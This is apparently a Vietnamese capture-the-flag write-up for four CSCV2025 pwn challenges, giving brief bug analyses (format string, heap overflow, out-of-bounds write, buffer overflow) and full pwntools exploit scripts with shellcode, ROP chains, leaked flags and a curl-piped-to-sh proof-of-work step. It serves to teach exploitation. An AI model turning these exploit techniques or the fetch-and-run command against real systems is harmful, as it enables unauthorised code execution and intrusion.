RacehorseS
Một bài Format String Bug khá chán và đơn giản, nên mình sẽ không nói nhiều ở đây (mình nghĩ mỗi exploit thôi là đã đủ để hiểu concept của bài này):
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *
exe = context.binary = ELF('./horse_say', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batac'''
def start(argv=[]): if args.LOCAL: p = exe.process() if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p
# ==================== EXPLOIT ====================p = start()
if args.REMOTE: token = None try: buf = b"" for _ in range(30): line = p.recvline(timeout=1) or b"" buf += line m = re.search(rb"(s\.[A-Za-z0-9+/=.-]+)", buf) if m: token = m.group(1).decode() break except EOFError: pass
if token: sol = subprocess.check_output( ["bash", "-lc", f"curl -sSfL https://pwn.red/pow | sh -s {token}"], text=True ).strip() p.sendline(sol.encode())
main = exe.sym.mainmain_high = (main << 8) & 0xFFmain_low = main & 0xFFpl = f"%{(main % 0xffff) -64}c%15$hn".encode()pl += b"|%143$p|"pl = pl.ljust(24, b"\x00")pl += p64(exe.got.exit)
sl(pl)ru(b"|")libc.address = int(ru(b"|")[:-1], 16) - 0x2A1CA
ow_addr = exe.got.strlengadget = libc.sym.system
package = { gadget & 0xFFFF: ow_addr, gadget >> 16 & 0xFFFF: ow_addr + 2, gadget >> 32 & 0xFFFF: ow_addr + 4,}order = sorted(package)
payload = f"%{order[0]}c%20$hn".encode()payload += f"%{order[1] - order[0]}c%21$hn".encode()payload += f"%{order[2] - order[1]}c%22$hn".encode()payload = payload.ljust(64, b"\x00")payload += flat( package[order[0]], package[order[1]], package[order[2]],)
sl(payload)sl(b"/bin/sh\x00")
interactive()# CSCV2025{k1m1_n0_4184_64_2ukyun_d0kyun_h45h1r1d35h1}Heap NoteS
Bug
struct note{ uint32_t index; struct note *next; char *data;};
void write_note(){ int index; // [rsp+Ch] [rbp-14h] BYREF note *i; // [rsp+10h] [rbp-10h] unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u); if ( g_note ) { index = 0; printf("Index: "); __isoc99_scanf("%u%*c", &index); for ( i = g_note; i->index != index; i = i->next ) { if ( !i->next ) return; } gets(&i->data); // Heap Overflow }}Ý tưởng
Như ta đã thấy, bug ở đây là Heap Overflow do hàm gets nhận input mà không kiểm tra số lượng đầu vào từ đó nếu ta tạo ra 3 chunks chẳn hạn, thì nếu ta edit chunk 0, ta có thể thay đổi được index và next của các chunk sau vì vốn đây là một Linked List cơ bản. Như vậy ý tưởng của mình sẽ là:
-
Vì PIE tắt, nên địa chỉ binary sẽ là địa chỉ static, dựa vào khả năng thay đổi
indexvànext, ta sẽ thay đổinextcủa chunk 1 thành__stack_chk_failkhi đó nếu ta nhập index là giá trị0x401040nó sẽ tìm đến đây vàdatapointer của nó sẽ trỏ vàoprintf, nhưng khó chịu ở chỗ printf lúc này có NULL byte ở cuối nên để leak được thì cứ chonext+1sau khi leak rồi cộng null byte vào
-
Leak thì mọi thứ trở nên đơn giản hơn, tận dụng việc có pointer
datađang trỏ vàoprintfmình sẽ chọn cách overwrite chỗ này luôn vì GOT write được, writegets@GOTtrỏ vào system, và sau đó cho nó edit chunk có chứa chuỗi/bin/sh\x00để spawn shell
Exploit
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from time import sleepfrom subprocess import check_output
exe = context.binary = ELF('./challenge_patched', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batab *0x4012FAb *0x401296b *0x40148Eb *0x4013C9c'''
def start(argv=[]): if args.LOCAL: p = exe.process() if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause() if args.DOCKER: p = remote('0', 1337) if args.GDB: pid = int(check_output(['pidof', '-f', '/pwn/challenge'])) gdb.attach(pid, gdbscript=gdbscript, exe=exe.path) pause()
elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p
def menu(choice: int): slna(b'> ', choice)
idx = 0def create(): menu(1) ru(b'Note with index ') return ru(b' created', drop=True)
def write(idx: int, content: bytes): menu(3) slna(b'Index: ', idx) sl(content)
def read(idx: int): menu(2) slna(b'Index: ', idx)
# ==================== EXPLOIT ====================p = start()
# gnote -> 0 -> 1 -> 2 -> 3 -> NULLcreate()create()create()create()
write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008+0x1))
read(0x5000000000004010)leak = u64((b'\x00' + rb(5)).ljust(8, b'\x00'))slog('leak @ %#x', leak)
# ld_base = leak - 0x152f0# slog('ld base @ %#x', ld_base)
libc.address = leak - libc.sym.printfslog('libc base @ %#x', libc.address)
write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008))
info('system @ %#x', libc.sym.system)
slna(b'> ', 3)slna(b'Index: ', 0)sl(p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008))
write(1, b'/bin/sh\x00')
slna(b'> ', 3)slna(b'Index: ', 4198464)sl(p64(libc.sym.printf) + p64(libc.sym.system) + p64(libc.sym.malloc) + p64(libc.sym.__isoc99_scanf))
# write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0xdeadbeef))
# write(4210184, p64(leak) + p64(libc.sym.system))
slna(b'> ', 3)slna(b'Index: ', 1)
interactive()# CSCV2025{313487590c9dbf64bdd49d7e76980965}SudokuS
Phân tích
__int64 start_game(){ unsigned __int8 num; // [rsp+Dh] [rbp-23h] BYREF unsigned __int8 col; // [rsp+Eh] [rbp-22h] BYREF unsigned __int8 row; // [rsp+Fh] [rbp-21h] BYREF char buf[28]; // [rsp+10h] [rbp-20h] BYREF int v5; // [rsp+2Ch] [rbp-4h]
num = 0; printf("What's your name? "); v5 = read(0, buf, 0x27u); if ( v5 <= 0 ) { perror("read failed"); exit(1); } buf[v5] = 0; printf("Welcome %s\n", buf); initBOARD(); while ( 1 ) { displayBOARD(); if ( (unsigned __int8)isComplete() ) { puts("Congratulations!"); return 0; } printf("> "); v5 = __isoc99_scanf("%hhu %hhu %hhu", &row, &col, &num); if ( v5 <= 0 ) { perror("scanf failed"); exit(1); } if ( !row && !col && !num ) break; if ( canEdit(--row, --col) && (unsigned __int8)isValid(row, col, num) == 1 ) BOARD[9 * row + col] = num; else puts("Invalid input!"); } puts("Bye!"); return 0;}Ở đây có 2 bug:
- Đầu tiên là bug overflow khi chương trình read
name - Tiếp theo sẽ là bug Out-of-Bound Write
Kiểm tra thêm thì thấy BOARD là một vùng rwx

Dễ dàng thấy idea sẽ là dùng OOB Write để ghi shellcode và pivot về shellcode đó. Và do challenge này có thêm cả seccomp, nên ta chỉ có thể dùng được shellcode ORW (Open-Read-Write). Kiểm tra một chút về hàm isValid
__int64 __fastcall isValid(unsigned __int8 row, unsigned __int8 i, unsigned __int8 num){ signed int n; // [rsp+1Ch] [rbp-10h] signed int m; // [rsp+20h] [rbp-Ch] int k; // [rsp+24h] [rbp-8h] int j; // [rsp+28h] [rbp-4h]
for ( j = 0; j <= 8; ++j ) { if ( BOARD[9 * row + j] == num && j != i ) return 0; } for ( k = 0; k <= 8; ++k ) { if ( BOARD[9 * k + i] == num && k != row ) return 0; } for ( m = 3 * (row / 3u); m <= (int)(3 * (row / 3u) + 2); ++m ) { for ( n = 3 * (i / 3u); n <= (int)(3 * (i / 3u) + 2); ++n ) { if ( BOARD[9 * m + n] == num && (m != row || n != i) ) return 0; } } return 1;}Hàm isValid(row, i, num) xác thực một nước đi Sudoku bằng ba bước: (1) kiểm tra theo hàng: duyệt j = 0..8, nếu bất kỳ ô nào trên cùng hàng row có giá trị bằng num và khác cột i (j != i) thì trả về 0; (2) kiểm tra theo cột: duyệt k = 0..8, nếu ô nào trên cùng cột i có giá trị bằng num và khác hàng row (k != row) thì trả về 0; (3) kiểm tra trong ô 3×3: tính góc trên-trái của block bằng rs = (row/3)*3, cs = (i/3)*3, rồi duyệtm = rs..rs+2, n = cs..cs+2, nếu BOARD[9*m + n] == num và vị trí đó khác chính ô đang xét (m != row || n != i) thì trả về 0; nếu không phát hiện trùng ở cả ba kiểm tra, hàm trả về 1, tức cho phép đặt num vào BOARD[9*row + i]. Tóm lại: Nó kiểm tra xem số num có trùng trong cùng hàng, cùng cột, hoặc ô 3×3 chứa ô (row, col) (bỏ qua chính ô đó) hay không; trùng ⇒ không hợp lệ, không trùng ⇒ hợp lệ.
Idea
- Overwrite saved RBP
- Write 2-stages shellcode
Note: Ban đầu mình làm mình viết hẳn một shellcode to luôn rồi cho nó chạy, vui vì nó hoạt động ở LOCAL và buồn vì lên REMOTE nó lại toạc, mình đã tốn khá nhiều thời gian để tìm xem tại sao và cuối cùng thì đã thử 2-stages shellcode và thành công… Mình nghĩ sẽ đỡ tốn thời gian hơn nếu challenge này kèm theo Dockerfile
Exploit
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from time import sleepfrom collections import defaultdict
exe = context.binary = ELF('./sudoshell', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batab *0x401B4Ab *0x401CE9b *0x401CF5c'''
def start(argv=[]): if args.LOCAL: p = exe.process() if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p
# ==================== EXPLOIT ====================p = start()
used_row_values = defaultdict(set) # key: absolute rowused_col_values = defaultdict(set) # key: absolute colused_blk_values = defaultdict(set) # key: (row//3, col//3)
def _candidates(addr, byte): delta = addr - 0x4040e0 row, col = divmod(delta, 9) yield row, col
families = ( ( min(row, (254 - col) // 9), min(col // 9, 254 - row), lambda step: (row - step, col + 9 * step), ), ( min(row // 9, (254 - col) // 81), min(col // 81, (254 - row) // 9), lambda step: (row - 9 * step, col + 81 * step), ), )
for pos, neg, mapper in families: limit = max(pos, neg) for s in range(1, limit + 1): for step in (s, -s): if step > pos or -step > neg: continue yield mapper(step)
def _fits_sudoku(byte, row, col): blk = (row // 3, col // 3) return all( byte not in container for container in (used_row_values[row], used_col_values[col], used_blk_values[blk]) )
def _mark_used(byte, row, col): blk = (row // 3, col // 3) for container in (used_row_values[row], used_col_values[col], used_blk_values[blk]): container.add(byte)
def try_write(addr, byte): print(f"addr {hex(addr)} - {hex(byte)}") for row, col in _candidates(addr, byte): if not (0 <= row <= 254 and 0 <= col <= 254): continue if not _fits_sudoku(byte, row, col): continue p.sendline(f"{row + 1} {col + 1} {byte} ".encode()) if b'Invalid input!' in p.recvuntil(b'> ', drop=False): continue _mark_used(byte, row, col) return True return False
def arb_write(addr, val): while val: byte = val & 0xff val >>= 8 if byte and not try_write(addr, byte): raise RuntimeError(f"Failed to place byte {hex(byte)} at {hex(addr)}") addr += 1
return b''
sla(b'>', b'1')pivot = 0x404600sa(b'name?', b'A'*0x20 + p64(pivot)[:-1])# sla(b'>', arb_write(0x4041a0, 0xFFFFFFAA))# Stage1: leak GOT then read stage2 and jump to itshellcode = asm(''' endbr64 mov rsi, 0x4041b0 mov edi, 1 mov edx, 0x40 mov eax, 1 syscall xor edi, edi mov rsi, 0x404700 mov edx, 0x400 xor eax, eax syscall jmp rsi''', arch='amd64')# print(len(shellcode))# print(shellcode)
# Set return target to shellcode (@ pivot+0x10)arb_write(pivot + 8, pivot + 0x10)base = pivot + 0x10for i in shellcode: if i != 0: if not try_write(base, i): raise RuntimeError(f"Failed to place shellcode byte {hex(i)} at {hex(base)}") base += 1
try_write(0x40461c, 0x01) # mov edi, 1try_write(0x40462a, 0x0f) # syscalltry_write(0x40462b, 0x05)try_write(0x40463c, 0x0f)try_write(0x40463d, 0x05)
sla(b'>', b'0 0 0')
stage2 = asm(''' endbr64 mov rbx, 0x67616c662f push rbx mov rdi, rsp xor esi, esi xor edx, edx mov eax, 2 syscall mov edi, eax lea rsi, [rsp] mov edx, 0x100 xor eax, eax syscall mov edx, eax lea rsi, [rsp] mov edi, 1 mov eax, 1 nop syscall xor edi, edi mov eax, 60 syscall''', arch='amd64')p.send(stage2)
interactive()# CSCV2025{Y0u_kn0w_h0w_t0_bu1ld_sh4llc03}Note: trong lúc write shellcode vào thì sẽ bị mất một số byte do cái check kia, nhưng cũng không quá khó khăn để sửa lại các bytecode bị mất nhỉ…?
Hanoi Convention
Lời tâm sự …
Trong thời gian diễn ra giải, do mình đã tốn quá nhiều thời gian để solve pwn 3, nên mình đã không kịp làm bài này. Ban đầu nhìn thì mình đã có ý tưởng ban đầu do bài này các bug nó liên kết với nhau (chắc là điểm hay nhất của bài này), còn lại thì việc tìm và trả lời câu hỏi sẽ khá là phiền…
Some tricks…
Để debug dễ dàng hơn ở LOCAL, mình đã patch file binary, patch ở đoạn trong hàm create để nó gán rank = 5 khi đó mình sẽ không cần chơi game giai đoạn đầu nữa, tiết kiệm được “một chút” thời gian. Mình đã patch thêm một chỗ nữa, đó là trong hàm run_quiz (theo tên mình đặt lúc rev vội) chỗ usleep().
Tiếp theo đây không phải là trick cho lắm nhưng mà vẫn cho mọi người nếu cần file question.json:
[ { "question": "What guiding principles must investigative powers respect under the Convention?", "options": [ "1. Necessity, proportionality, legality, and human rights safeguards", "2. Collect as much data as possible", "3. Disregard privacy for speed", "4. Follow only international norms" ], "correct_option": 1 }, { "question": "Which article defines 'illegal access' (unauthorized access)?", "options": [ "1. Article 10 - System interference", "2. Article 6 - Illegal access (unauthorized access to an ICT system)", "3. Article 7 - Illegal interception", "4. Article 12 - Computer-related fraud" ], "correct_option": 2 }, { "question": "When transferring electronic evidence across borders, what must be observed?", "options": [ "1. Chain of custody, integrity, authenticity, and local evidentiary rules", "2. Free public dissemination online", "3. Only a summary is enough", "4. Must translate into all UN languages" ], "correct_option": 1 }, { "question": "What is a 'production order' used for?", "options": [ "1. To compel a person or service provider to produce electronic data or subscriber info lawfully held", "2. To authorize real-time interception of communications", "3. To authorize home search", "4. To seize physical property" ], "correct_option": 1 }, { "question": "What conditions apply to real-time collection of content data (interception)?", "options": [ "1. None — it may be done freely", "2. Only verbal request by investigator", "3. Must comply with national law and human rights safeguards", "4. Always notify the target immediately" ], "correct_option": 3 }, { "question": "How does the Convention treat extradition?", "options": [ "1. Based on existing treaties or reciprocity, following domestic law", "2. Prohibits extradition in all cases", "3. Mandates extradition without legal basis", "4. Only via international courts" ], "correct_option": 1 }, { "question": "What is emphasized by the Convention about handling personal data?", "options": [ "1. Investigative measures must include safeguards and use-limitation", "2. Broad data collection is preferable", "3. Privacy is irrelevant", "4. All states must adopt GDPR" ], "correct_option": 1 }, { "question": "Which refusal ground for MLA is valid under the Convention?", "options": [ "1. If the request would seriously affect sovereignty or security", "2. If countries are not neighbors", "3. If the case involves advanced technology", "4. If there is a time zone difference" ], "correct_option": 1 }, { "question": "What is the main purpose of expedited disclosure of traffic data?", "options": [ "1. To quickly identify routes, origin/destination, and guide jurisdictional decisions", "2. To obtain message contents", "3. To block user accounts", "4. To shut down Internet services" ], "correct_option": 1 }, { "question": "Does the Convention apply to traditional crimes committed via ICT means?", "options": [ "1. Yes, when traditional crimes are executed via ICT systems", "2. Only new cybercrimes", "3. Never to traditional crimes", "4. Only when large financial harm occurs" ], "correct_option": 1 }]Bug
Bài này có tận 3 bugs @@:
- Buffer Overflow ở hàm
edit(điều kiện rank > 5) - Format String Bug ở hàm
show - Buffer Overflow ở hàm
run_quiz(điều kiện rank > 19)
Phân tích
Ta có 2 bugs Overflow ở đây, việc đầu tiên mình nghĩ đến đầu tiên là sẽ tìm cách leak. Nhìn vào Overflow ở hàm run_quiz:
if ( rank <= 19 || gScore <= 0x7CF ) { snprintf(gActivityLog, 0x40u, &format_, (unsigned int)rank, gScore, (unsigned int)(rank - gQuizzesPassed), i); } else { puts("\nYou have shown deep understanding and are awarded an honorary certificate!"); printf("Write your thoughts: "); v5 = read(0, buf, 224u); if ( v5 > 0 ) { if ( buf[v5 - 1] == 10 ) buf[v5 - 1] = 0; else buf[v5] = 0; printf("Added to log: %s\n", buf); snprintf(gActivityLog, 0x40u, "You have reached rank %d\nYour thoughts: %s", rank, buf); } } } }Overflow ở hàm này có 2 mục đích:
- Đầu tiên là giúp ta control được trực tiếp
gActivityLog - Thứ 2 là sau khi ta leak được các thứ thì sẽ dùng nó để get shell
Để có được rank > 19 cũng đơn giản, ta chỉ cần việc chơi quiz để rank > 5 có được Overflow trong hàm edit, từ đó chỉnh được giá trị của rank thành một số cực lớn. Từ đó ta có thể có được leak thông qua Format String, sau đó tiếp tục leak thêm libc và canary nữa là xong
Exploit
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *import re, hashlib, time, sys
exe = context.binary = ELF('./quiz_patched', checksec=False)# exe = context.binary = ELF('./debug', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batabrva 0x20C7brva 0x253Dbrva 0x2757c'''
def start(argv=[]): if args.LOCAL: p = exe.process() if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p
def solve_pow(): ban = p.recvuntil(b'Enter your answer', timeout=10) chal = re.search(rb'Challenge:\s*([0-9a-fA-F]+)', ban).group(1).decode() m0 = re.search(rb'starts with\s+(\d+)\s+zeros', ban); zeros = int(m0.group(1)) if m0 else 6 m1 = re.search(rb'You have\s+(\d+)\s+seconds', ban); lim = int(m1.group(1)) if m1 else 120 tgt = '0'*zeros; base = chal.encode() start_t = time.time(); deadline = start_t + lim - 3 n = 0; last = start_t while True: s = str(n).encode() if hashlib.sha256(base + s).hexdigest().startswith(tgt): slog(f"found nonce={s.decode()} tries={n} hashes={n} time={time.time()-start_t:.2f}s") sl(s) return n += 1 now = time.time() if now - last >= 0.5: rate = n/(now-start_t) info(f"tries={n} hashes={n} rate={rate:.0f}/s elapsed={now-start_t:.1f}s") last = now if now > deadline: raise RuntimeError("PoW timeout")
def menu(choice: int): slna(b'> ', choice)
def create(name): menu(1) sa(b'name: ', name)
def view(): menu(2)
def edit(content): menu(4) sla(b"name: ", content)
def run_quiz(): menu(3) for _ in range(10): blk = p.recvuntil(b'> ', timeout=10) m = re.search(rb'1\.\s*(.*?)\r?\n.*?2\.\s*(.*?)\r?\n.*?3\.\s*(.*?)\r?\n.*?4\.\s*(.*?)\r?\n', blk, re.S) # search for options if not m: break idx = max(range(4), key=lambda i: len(m.group(i+1).strip())) + 1 # pick the longest option sl(str(idx).encode())
# ==================== EXPLOIT ====================p = start()
if args.REMOTE: solve_pow()
create(b'Kasero')
if args.REMOTE: for _ in range(10): run_quiz()
edit(b'A' * 0x4c + p32(0xffff)) # overwrite rank to > 19 for buff overflow in run_quizrun_quiz()
# leak pie base and stack addresssla(b'Write your thoughts: ', b'%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p')view()
ru(b'Your thoughts: ')ru(b'0x')ru(b'0x')
stack = int(ru(b'|0x', drop=True), 16)slog('stack @ %#x', stack)
exe.address = int(ru(b'|', drop=True), 16) - 0x2987slog('exe base @ %#x', exe.address)
# leak libc base and canaryedit(b'A' * 0x50 + p64(exe.got.puts))view()ru(b'Your thoughts: ')rl()libc.address = fixleak(rl()[:-1]) - libc.sym.putsslog('libc base @ %#x', libc.address)
edit(b'A' * 0x50 + p64(stack + 0x98 + 1))view()ru(b'Your thoughts: ')rl()canary = u64(b'\x00' + rb(7))slog('canary @ %#x', canary)
rop = ROP(libc)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]ret = pop_rdi + 1leave_ret = exe.address + 0x265E
# rop...run_quiz()sla(b'Write your thoughts: ', flat({ 0: [ pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym.system, ], 0xc8: [ canary, stack - 0x100 - 8, leave_ret ]}, filler=b'A'))
interactive()# CSCV2025{H4n0i_C0nv3nt10n_C0un73r1ng_Cyb3rcR1m3_Sh4r1ng_R3sp0ns1b1l1ty_S3cur1ng_0ur_Futur3}Nice, lúc mình làm lại thì mình lấy libc của máy mình luôn somehow nó lại đúng… Giá như lúc đó làm nhanh hơn thì khéo team đã được đi final…